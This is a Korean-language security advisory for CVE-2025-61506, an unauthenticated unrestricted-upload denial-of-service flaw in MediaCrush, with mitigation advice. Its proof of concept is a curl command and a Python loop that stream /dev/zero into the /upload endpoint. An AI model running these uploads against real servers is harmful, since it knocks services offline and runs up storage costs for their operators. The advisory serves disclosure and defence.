
MediaCrush 1.0.1 이하에서 발견된 무제한 파일 업로드 DoS 취약점(CVE-2025-61506)
MediaCrush 1.0.1까지의 버전에서 원격의 인증되지 않은 공격자가 /upload 엔드포인트에 크기 제한 없이 임의의 파일을 업로드할 수 있는 문제가 발견되었습니다. 취약점: 무제한 파일 업로드 (CWE-434) CVE ID: CVE-2025-61506 발견일: 9월 18일 배정일: 10월 9일 영향을 받는 구성 요소: mediacrush/upload.py, app.py (Flask 업로드 엔드포인트) 영향을 받는 버전: 전체 버전 (마지막 커밋 8f4b2a3f, 약 2014년) 영향: 서비스 거부 (DoS) 심각도: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
MediaCrush의 /upload 엔드포인트(mediacrush/upload.py)는 인증되지 않은 공격자가 크기 제한, MIME 유형 검증 또는 속도 제한 없이 임의로 큰 파일을 업로드할 수 있게 합니다. 이는 디스크 저장 공간(기본값 ./storage)을 소진시키고, Redis 및 Celery 워커를 과부하시키며, 애플리케이션을 충돌시켜 서비스 거부로 이어집니다. 이 취약점은 Flask 기반 업로드 핸들러의 입력 검증 부재로 인해 모든 MediaCrush 인스턴스(로컬 또는 네트워크 배포)에 영향을 미칩니다. 프로젝트가 유지 관리되지 않으므로(마지막 업데이트 2014) 수정 사항이 존재하지 않습니다.
로컬 MediaCrush 인스턴스를 설정합니다(README 기준: Python 2.7, Flask 0.10.1, Redis, Celery).
앱(python app.py)과 Celery 워커(celery worker -A mediacrush -Q celery,priority)를 실행합니다.
대용량 파일을 업로드하려면 다음을 실행합니다:
curl -F "file=@/dev/zero" http://localhost:5000/upload
또는 여러 파일을 업로드하려면 Python 스크립트를 사용합니다:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
결과: 디스크 저장 공간(예: /tmp/storage)이 가득 차고, Celery 워커가 OOM으로 충돌하며, 새 업로드가 실패합니다(HTTP 500/413). Redis 메모리 사용량이 급증합니다.
서비스 거부: 디스크를 가득 채우고, 앱을 충돌시키며, 새 업로드 또는 미디어 제공을 방해합니다.
저장 공간 남용: 공격자가 MediaCrush를 악성 파일(예: 불법 복제 콘텐츠)을 위한 무제한 무료 저장 공간으로 사용할 수 있습니다.
클라우드 비용: storage_folder가 클라우드 기반인 경우(예: AWS S3) 상당한 비용이 발생합니다.
1.0.1까지의 모든 자체 호스팅 MediaCrush 배포에 영향을 미칩니다.
Flask의 MAX_CONTENT_LENGTH 구성과 웹 서버(예: nginx)의 client_max_body_size 지시문을 사용하여 서버 측 업로드 크기 제한을 적용합니다. 리소스 고갈을 방지하기 위해 적절한 파일 검증과 속도 제한을 구현합니다.
프로젝트가 유지 관리되지 않으므로 사용자는 포크하여 패치하거나 배포를 피해야 합니다.
MediaCrush 저장소: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
오픈소스 프로젝트에 대한 버그 바운티 감사 중 발견되었습니다.
MediaCrush에 대해 이전 CVE가 발견되지 않았습니다(NVD, GitHub 권고 검색).
프로젝트가 유지 관리되지 않으며, 공급업체 응답을 기대할 수 없습니다([email protected], IRC #mediacrush 비활성).